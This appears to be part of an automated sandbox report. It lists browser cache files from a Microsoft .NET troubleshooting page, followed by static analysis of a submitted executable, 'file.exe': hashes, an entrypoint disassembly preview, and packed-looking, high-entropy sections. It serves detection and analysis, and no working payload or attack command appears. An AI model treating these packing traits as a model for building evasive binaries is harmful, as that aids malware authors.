Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949729103175395
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'907'712 bytes
MD5:	fc844f11eae3337614e9b7bc196e7066
SHA1:	8409f8f5dc1a747a95a7a741e3835c6beac1e850
SHA256:	ea5eb2f0f1011b95d99f23fe1fb4fcbc5cffff1b225f20598e9e3612bb293d3a
SHA512:	ad08e0d320b40db7a6211ad81ebaf85efe90aeb11698ee44df685e312bb179494fe46afac3356eb8e046cd0bda976c292ff625aa4e4c730f71112d79e3937271
SSDEEP:	49152:U8nMGIAOAX3IuuH4/tZK/brQboNIkdwUdpt6:znDrX3qHd/bUboN1dJdp
TLSH:	40953301FEEBF434D57D44FD85B220527A786558A5D2F736CB0C987F42AE4823AB2B84
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................K...........@...........................K...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE620EB9BDAh
psubd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE620EBBBD5h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	937ec5b900003006bd4dd0d2c9f88a02	False	0.9974731848184818	data	7.984582426040954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2b7000	0x200	c78843d892057c176a1bc8fef780779c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pmcthdkr	0x30f000	0x1a9000	0x1a8400	5237200d340079552d19f4004d59ee2e	False	0.9943391600987036	data	7.954683084141591	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
